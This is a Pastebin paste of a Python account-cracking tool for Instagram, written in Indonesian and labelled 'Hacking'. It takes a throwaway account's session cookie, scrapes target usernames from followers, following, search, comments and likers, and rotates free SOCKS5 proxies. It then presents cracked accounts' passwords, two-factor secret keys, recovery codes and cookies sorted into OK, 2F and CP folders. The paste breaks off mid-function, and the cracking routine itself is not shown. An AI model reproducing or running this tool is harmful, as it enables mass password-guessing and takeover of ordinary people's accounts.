OBF-XIn

203.78.117.57-/sdcard/instagram.py.py

Mar 7th, 2024
93
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 82.05 KB | None | 0 0
  1. # create by ZORA ID 2024
  2.  
  3. import os, re, sys, json, time, random, datetime, requests
  4. import uuid, hmac, hashlib, urllib, shutil
  5. from enc_password import Requre
  6. from amankan_data import Require
  7. from useragent import Useragent
  8. from facebook import Facebook
  9. from bs4 import BeautifulSoup as bs
  10. from rich.tree import Tree
  11. from rich import print as printz
  12. from rich.panel import Panel
  13. from rich.console import Console
  14. from rich.columns import Columns
  15. from concurrent.futures import ThreadPoolExecutor
  16.  
  17. dump = []
  18.            
  19. class Requ:
  20.     def __init__(self) -> None:
  21.         self.proxies = []
  22.         pass        
  23.        
  24.     def Convert_Name(self, xxx, cookie):
  25.         with requests.Session() as r:
  26.             try:
  27.                 response = r.get(f'https://www.instagram.com/{xxx}/', headers = {"User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3"}, cookies={'cookie': cookie}).text
  28.                 if 'user_id' in str(response):
  29.                     return(re.findall('"user_id":"(\d+)"', str(response))[0])
  30.             except (Exception) as e: pass
  31.            
  32.     def Convert_Url(self, xxx, cookie):
  33.         with requests.Session() as r:
  34.             try:
  35.                 response = r.get(xxx, cookies={'cookie': cookie}).text
  36.                 if 'media_id' in str(response):
  37.                     return(re.findall('{"media_id":"(.*?)"',str(response))[0])
  38.             except (Exception) as e: exit(e)
  39.  
  40.     def Validasi_Username(self, username):
  41.        with requests.Session() as r:
  42.            try:
  43.                response = r.get("https://i.instagram.com/api/v1/users/web_profile_info/?username={}".format(username), headers = {"User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3"}).json()
  44.                return (response["data"]["user"]["full_name"], response["data"]["user"]["edge_followed_by"]["count"], response["data"]["user"]["edge_follow"]["count"], response["data"]["user"]["edge_owner_to_timeline_media"]["count"])
  45.            except (Exception) as e: return(None,None,None,None)
  46.        
  47.     def Socksku(self):
  48.         with requests.Session() as r:
  49.             try:
  50.                 response = r.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol={}&timeout=100000&country=all&ssl=all&anonymity=all'.format('socks5')).text
  51.                 for prox in response.splitlines():
  52.                     self.proxies.append(prox)
  53.                 return self.proxies
  54.             except (requests.exceptions.ConnectionError): time.sleep(5); self.Socksku()                
  55.  
  56. class Terminal:
  57.     def __init__(self) -> None:
  58.         pass
  59.        
  60.     def Clear_Terminal(self):
  61.         os.system('clear' if 'linux' in sys.platform.lower() else 'cls')
  62.        
  63.     def Banner_Terminal(self):
  64.         self.Clear_Terminal()
  65.         Console(width = 65, style = "bold grey50").print(Panel("""[bold red]●[bold yellow] ●[bold green] ●[bold white]
  66. [bold red]           _____                 _____  _____)     __  
  67. [bold red]          (, /  |       ,       (, /  /        (__/  )
  68.            /---| __      __      /  /   ___     /    
  69. [bold white]         ) /    |_/_)__(_     ___/__/     / ) ) /      
  70. [bold white]        (_/    .-/          (__ /  (____ /   (_/      
  71.              (_/                                            
  72.     [bold white]Version :[bold blue] 2.0[bold white] || Status :[bold green] Premium[bold white] || Type :[bold blue] Hacking"""))
  73.         return ("Berhasil")
  74.        
  75.     def Layar_Terminal(self):
  76.         self.get_terminal_size = re.search('columns=(\d+),', str(os.get_terminal_size())).group(1)
  77.         if int(self.get_terminal_size) < 65:
  78.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Anda Diwajibkan Untuk Mengecilkan Tampilan Termux Sampai Kotak Ini Terlihat Rapi!..."))
  79.             exit()
  80.         else:
  81.             pass
  82.        
  83. class Login:
  84.     def __init__(self) -> None:
  85.         Terminal().Layar_Terminal()
  86.         pass
  87.        
  88.     def Username_And_Password(self):
  89.         try:
  90.             Terminal().Banner_Terminal()
  91.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silakan Masukan Cookie Instagram, Pastikan Akun Tidak Limite!", subtitle = "╭─────", subtitle_align = "left"))
  92.             cookies = Console().input("[bold grey50]   ╰─> ")
  93.             if len(cookies) >0:
  94.                 self.username,  self.fullname = self.Validasi_Cookies(cookies)
  95.                 with open('Cookie_Instagram.json', 'w') as wr:
  96.                     wr.write(json.dumps({
  97.                         "Cookie": cookies,
  98.                     }))
  99.                     wr.close()
  100.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Selamat Datang [green]{self.username}/{self.fullname}[white], Jalankan Ulang Perintahnya!!..."))
  101.                 exit()
  102.             else:
  103.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Masukan Cookie Instagram, Masukan Dengan Benar, Jangan Kosong Ngab!!..."))
  104.                 exit()
  105.         except (KeyboardInterrupt, Exception) as e:
  106.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Opss, Cookies Salah, Exspired Atau Limite, Silakan Ganti Akun Tumbal, Di Sarankan Membuat Akun Baru!"))
  107.             exit()    
  108.        
  109.     def Validasi_Cookies(self, cookies):
  110.         with requests.Session() as r:
  111.             r.headers.update({
  112.                 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3',
  113.             })
  114.             response = r.get('https://i.instagram.com/api/v1/users/{}/info/'.format(re.findall('ds_user_id=(\d+)',str(cookies))[0]), cookies = {
  115.                 'cookie': cookies
  116.             })
  117.             self.payload = json.loads(response.text)
  118.             if '\'username\':' in str(self.payload):
  119.                 self.username = self.payload['user']['username']
  120.                 self.fullname = self.payload['user']['full_name']
  121.                 return(self.username, self.fullname)
  122.             else:
  123.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Opss, Cookies Exspired Atau Limite, Silakan Ganti Akun Tumbal, Di Sarankan Membuat Akun Baru!"))
  124.                 time.sleep(3.5)
  125.                 self.Username_And_Password()
  126.                
  127. class Instagram:
  128.     def __init__(self):
  129.         self.Kilometers, self.Meterans, self.amankan_akun = [],[],[]
  130.         self.success, self.chekpoint, self.faktor, self.looping = 0,0,0,0
  131.  
  132.     def Remove_Cookie(self):
  133.         try: os.system('rm -rf Cookie_Instagram.json')
  134.         except (Exception): pass
  135.         Login().Username_And_Password()
  136.  
  137.     def Chek_Cookies(self, created, exspired, sisa):
  138.         try:
  139.            cookie = json.loads(open('Cookie_Instagram.json', 'r').read())['Cookie']
  140.            self.Menu_Instagram(created, exspired, sisa, cookie)          
  141.         except (FileNotFoundError) as e:
  142.            Terminal().Clear_Terminal()
  143.            Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  144.            Console().input("[bold grey50]   ╰─> File Not Found Error!!..")
  145.            self.Remove_Cookie()
  146.            
  147.     def Menu_Instagram(self, created, exspired, sisa, cookie):
  148.         try:
  149.             self.username, self.fullname = Login().Validasi_Cookies(cookie)
  150.         except (KeyError) as e:
  151.             Terminal().Clear_Terminal()
  152.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  153.             Console().input("[bold grey50]   ╰─> Terjadi Kesalahan, Cookie Exspired Atau Limite!!..")
  154.             self.Remove_Cookie()
  155.            
  156.         except (requests.exceptions.ConnectionError) as e:
  157.             Terminal().Clear_Terminal()
  158.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  159.             Console().input("[bold grey50]   ╰─> Terjadi Kesalahan, Koneksi Anda Error!!..")
  160.             self.Chek_Cookies()
  161.         try:                    
  162.             Terminal().Banner_Terminal()
  163.             self.Kilometers.append(Panel(f'[bold green]•[bold white] Username [bold green]{self.username}\n[bold green]•[bold white] Fullname [bold green]{self.fullname}', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Info Akun) [bold green]<[bold yellow]<[bold red]<',width=32, style='bold grey50'))
  164.             self.Kilometers.append(Panel(f'[bold green]•[bold white] Bergabung [bold green]{created}\n[bold green]•[bold white] Expired [bold green]{exspired} [bold yellow]{sisa}[bold white] hari', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Info License) [bold green]<[bold yellow]<[bold red]<',width=32, style='bold grey50'))
  165.             Console().print(Columns(self.Kilometers))
  166.         except (AttributeError) as e:
  167.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  168.             exit()
  169.         Console(width = 65, style = "bold grey50").print(Panel('''[bold white][bold green]01[bold white]. Crack Nama Dari Follower\t[bold white][bold green]06[bold white]. Chek Result Crack\n[bold white][bold green]02[bold white]. Crack Nama Dari Followed\t[bold white][bold green]07[bold white]. Beralih Ke Facebook\n[bold white][bold green]03[bold white]. Crack Nama Dari Search\t[bold white][bold green]00[bold red].[bold red] Deleted Cookies\n[bold white][bold green]04[bold white]. Crack Nama Dari Komentar\n[bold white][bold green]05[bold white]. Crack Nama Dari Likes''', subtitle = "╭─────", subtitle_align = "left"))
  170.         query = Console().input("[bold grey50]   ╰─> ")
  171.         if query == '01' or query == '1':
  172.             try:
  173.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Username Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] partner.hmei3,partner.hmei7[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Catatan) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  174.                 username = Console().input("[bold grey50]   ╰─> ")
  175.                 for self.username in username.split(','):
  176.                     uid = Requ().Convert_Name(self.username, cookie)
  177.                 try: self.Dump_Followers(uid, cookie, '')
  178.                 except (Exception) as e: pass
  179.                 if len(dump) < 50:
  180.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Terlalu Sedikit) [bold green]<[bold yellow]<[bold red]<"))
  181.                     exit()
  182.                 else:
  183.                     Console(width = 65).print(Panel(f'{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Username) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  184.                     self.Methode()
  185.             except (Exception) as e:
  186.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  187.                 exit()
  188.                
  189.         elif query == '02' or query == '2':
  190.             try:
  191.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Username Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] partner.hmei3,partner.hmei7[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Catatan) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  192.                 username = Console().input("[bold grey50]   ╰─> ")
  193.                 for self.username in username.split(','):
  194.                     uid = Requ().Convert_Name(self.username, cookie)
  195.                 try: self.Dump_Following(uid, cookie, '')
  196.                 except (Exception) as e: pass
  197.                 if len(dump) < 50:
  198.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Terlalu Sedikit) [bold green]<[bold yellow]<[bold red]<"))
  199.                     exit()
  200.                 else:
  201.                     Console(width = 65).print(Panel(f'{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Username) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  202.                     self.Methode()
  203.             except (Exception) as e:
  204.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  205.                 exit()
  206.                
  207.         elif query == '03' or query == '3':
  208.             try:
  209.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Username Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] partner.hmei3,partner.hmei7[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Catatan) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  210.                 username = Console().input("[bold grey50]   ╰─> ")
  211.                 for self.username in username.split(','):
  212.                     try: self.Dump_Search(self.username, cookie)
  213.                     except (Exception) as e: pass
  214.                 if len(dump) < 50:
  215.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Terlalu Sedikit) [bold green]<[bold yellow]<[bold red]<"))
  216.                     exit()
  217.                 else:
  218.                     Console(width = 65).print(Panel(f'{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Username) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  219.                     self.Methode()
  220.             except (Exception) as e:
  221.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  222.                 exit()
  223.                
  224.         elif query == '04' or query == '4':
  225.             try:
  226.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Url Postingan Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Catatan) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  227.                 username = Console().input("[bold grey50]   ╰─> ")
  228.                 for self.username in username.split(','):
  229.                     uid = Requ().Convert_Url(self.username, cookie)
  230.                 try: self.Dump_Komentar(uid, cookie, '')
  231.                 except (Exception) as e: pass
  232.                 if len(dump) < 50:
  233.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Terlalu Sedikit) [bold green]<[bold yellow]<[bold red]<"))
  234.                     exit()
  235.                 else:
  236.                     Console(width = 65).print(Panel(f'{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Username) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  237.                     self.Methode()
  238.             except (Exception) as e:
  239.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  240.                 exit()
  241.                
  242.         elif query == '05' or query == '5':
  243.             try:
  244.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Url Postingan Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Catatan) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  245.                 username = Console().input("[bold grey50]   ╰─> ")
  246.                 for self.username in username.split(','):
  247.                     uid = Requ().Convert_Url(self.username, cookie)
  248.                 try: self.Dump_Likers(uid, cookie, '')
  249.                 except (Exception) as e: pass
  250.                 if len(dump) < 50:
  251.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Terlalu Sedikit) [bold green]<[bold yellow]<[bold red]<"))
  252.                     exit()
  253.                 else:
  254.                     Console(width = 65).print(Panel(f'{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Username) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  255.                     self.Methode()
  256.             except (Exception) as e:
  257.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  258.                 exit()
  259.                
  260.         elif query == '06' or query == '6':
  261.             try:
  262.                 Console(width=65).print(Panel('[bold green]01[bold white]. Chek Result OK\n[bold green]02[bold white]. Chek Result 2F\n[bold green]03[bold white]. Chek Result CP',style='bold grey50'), justify='center')
  263.                 choose = Console().input("[bold grey50]   ╰─> ")
  264.                 if choose =='01' or choose =='1':
  265.                     try:
  266.                         file = os.listdir('/sdcard/OK')
  267.                     except (Exception) as e:
  268.                         Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  269.                         exit()
  270.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic green]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (File OK) [bold green]<[bold yellow]<[bold red]<"))
  271.                     Console(width=65).print(Panel('[bold white]Chek File OK, Masukan Nama File, Misalnya : [bold green]OK-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  272.                     files = Console().input("[bold grey50]   ╰─> ")
  273.                     self.Result(choose,files)
  274.                     exit()
  275.                 elif choose =='02' or choose =='2':
  276.                     try:
  277.                         file = os.listdir('/sdcard/2F')
  278.                     except (Exception) as e:
  279.                         Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  280.                         exit()
  281.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (File 2F) [bold green]<[bold yellow]<[bold red]<"))
  282.                     Console(width=65).print(Panel('[bold white]Chek File 2F, Masukan Nama File, Misalnya : [bold red]2F-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  283.                     files = Console().input("[bold grey50]   ╰─> ")
  284.                     self.Result(choose,files)
  285.                     exit()
  286.                 elif choose =='03' or choose =='3':
  287.                     try:
  288.                         file = os.listdir('/sdcard/CP')
  289.                     except (Exception) as e:
  290.                         Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  291.                         exit()
  292.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic yellow]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (File CP) [bold green]<[bold yellow]<[bold red]<"))
  293.                     Console(width=65).print(Panel('[bold white]Chek File CP, Masukan Nama File, Misalnya : [bold yellow]CP-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  294.                     files = Console().input("[bold grey50]   ╰─> ")
  295.                     self.Result(choose,files)
  296.                     exit()
  297.                 else:
  298.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Pilihan Yang Kamu Masukan Tidak Ada Di Dalam Menu Instagram!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  299.                     exit()  
  300.             except (Exception) as e:
  301.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  302.                 exit()
  303.                
  304.         elif query == '07' or query == '7':
  305.             try: Facebook()
  306.             except (Exception) as e:
  307.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  308.                 exit()
  309.                              
  310.         elif query == '00' or query == '0':
  311.             try: self.Remove_Cookie()
  312.             except (Exception) as e:
  313.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  314.                 exit()
  315.         else:
  316.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Pilihan Yang Kamu Masukan Tidak Ada Di Dalam Menu Instagram!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  317.             exit()              
  318.                  
  319.     def Dump_Search(self, username, cookie):
  320.         with requests.Session() as r:
  321.             try:
  322.                 response = r.get(f'https://i.instagram.com/api/v1/web/search/topsearch/?context=blended&query={self.username}&rank_token=0.11856792192547738&include_reel=true',headers={'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie':cookie}).json()
  323.                 for akun in response['users']:
  324.                     if akun not in dump:
  325.                         dump.append(akun['user']['username']+'<=>'+akun['user']['full_name'])
  326.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(self.username)[:20]}/{len(dump)} Username...     ", end='\r')
  327.                 if 'next_max_id' in str(response):
  328.                     self.Dump_Search(self.username, cookie)
  329.             except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass      
  330.            
  331.     def Dump_Followers(self, username, cookie, max_id):
  332.         with requests.Session() as r:
  333.             try:
  334.                 params = {'count': '200','max_id': max_id,'search_surface': 'follow_list_page'}
  335.                 response = r.get(f'https://www.instagram.com/api/v1/friendships/{username}/followers/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
  336.                 for akun in response['users']:
  337.                     if akun not in dump:
  338.                         dump.append(akun['username']+'<=>'+akun['full_name'])
  339.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username...     ", end='\r')
  340.                 if 'next_max_id' in str(response):
  341.                     self.Dump_Followers(username, cookie, response['next_max_id'])
  342.             except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass  
  343.            
  344.     def Dump_Following(self, username, cookie, max_id):
  345.         with requests.Session() as r:
  346.             try:
  347.                 params = {'count': '200','max_id': max_id,'search_surface': 'follow_list_page'}
  348.                 response = r.get(f'https://www.instagram.com/api/v1/friendships/{username}/following/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
  349.                 for akun in response['users']:
  350.                     if akun not in dump:
  351.                         dump.append(akun['username']+'<=>'+akun['full_name'])
  352.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username...     ", end='\r')
  353.                 if 'next_max_id' in str(response):
  354.                     self.Dump_Following(username, cookie, response['next_max_id'])
  355.             except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass  
  356.            
  357.     def Dump_Komentar(self, username, cookie, max_min):
  358.         with requests.Session() as r:
  359.             try:
  360.                 params = {'can_support_threading':True,'permalink_enabled':False,'min_id': max_min}
  361.                 response = r.get(f'https://www.instagram.com/api/v1/media/{username}/comments/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
  362.                 for akun in response['comments']:
  363.                     if akun not in dump:
  364.                         dump.append(akun['user']['username']+'<=>'+akun['user']['full_name'])
  365.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username...     ", end='\r')
  366.                 if 'next_min_id' in str(response):
  367.                     self.Dump_Komentar(username, cookie, response['next_min_id'])
  368.             except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass
  369.            
  370.     def Dump_Likers(self, username, cookie, max_min):
  371.         with requests.Session() as r:
  372.             try:
  373.                 params = {'can_support_threading':True,'permalink_enabled':False,'min_id': max_min}
  374.                 response = r.get(f'https://www.instagram.com/api/v1/media/{username}/likers/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
  375.                 for akun in response['users']:
  376.                     if akun not in dump:
  377.                         dump.append(akun['username']+'<=>'+akun['full_name'])
  378.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username...     ", end='\r')
  379.                 if 'next_min_id' in str(response):
  380.                     self.Dump_Komentar(username, cookie, response['next_min_id'])
  381.             except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass  
  382.            
  383.     def Result(self, result, isi):
  384.         if result in ('1','01'):
  385.             for buka in open(f'/sdcard/OK/'+str(isi)).readlines():
  386.                 try: tree = Tree(f'\r╭ logged in user',style='green'); true = tree.add(f"Succes logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='green'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); true = tree.add(f'\r╭ auth secure account',style='green'); true.add(f"status two {buka.split('|')[6]}"); true.add(f"secret key {buka.split('|')[7]}"); true.add(f"pemulihan {buka.split('|')[8]}"); true.add(f"telephone {buka.split('|')[9]}"); true.add(f"add email {buka.split('|')[10]}"); true.add(f"web email {buka.split('|')[11]}"); true = tree.add(f"Cookie {buka.split('|')[12]}"); tree.add("Success cek in Result OK"); printz(tree)
  387.                 except Exception: tree = Tree(f'\r╭ logged in user',style='green'); true = tree.add(f"Succes logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='green'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); true = tree.add(f"Cookie {buka.split('|')[6]}"); tree.add("Success cek in Result OK"); printz(tree)
  388.                    
  389.         elif result in ('2','02'):
  390.             for buka in open(f'/sdcard/2F/'+str(isi)).readlines():
